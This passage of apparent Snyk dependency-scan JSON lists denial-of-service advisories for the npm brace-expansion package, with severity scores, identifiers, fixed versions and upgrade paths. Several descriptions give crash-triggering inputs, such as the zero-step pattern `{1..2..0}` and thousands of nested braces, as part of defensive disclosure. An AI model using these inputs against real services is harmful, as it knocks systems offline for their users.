"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
